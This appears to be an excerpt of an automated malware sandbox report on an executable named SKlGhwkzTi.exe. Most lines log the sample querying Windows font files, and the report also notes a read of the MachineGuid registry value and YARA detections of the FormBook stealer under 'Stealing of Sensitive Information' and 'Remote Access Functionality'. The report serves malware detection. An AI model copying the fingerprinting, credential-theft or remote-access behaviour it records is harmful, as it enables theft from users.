Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918415309.00000000032E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763395770.0000000001530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918604632.0000000003540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.679714687.0000000003DE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.763453752.0000000001560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SKlGhwkzTi.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.SKlGhwkzTi.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SKlGhwkzTi.exe.3de9930.1.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000004.00000002.761631200.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.918580029.0000000003510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.677567627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
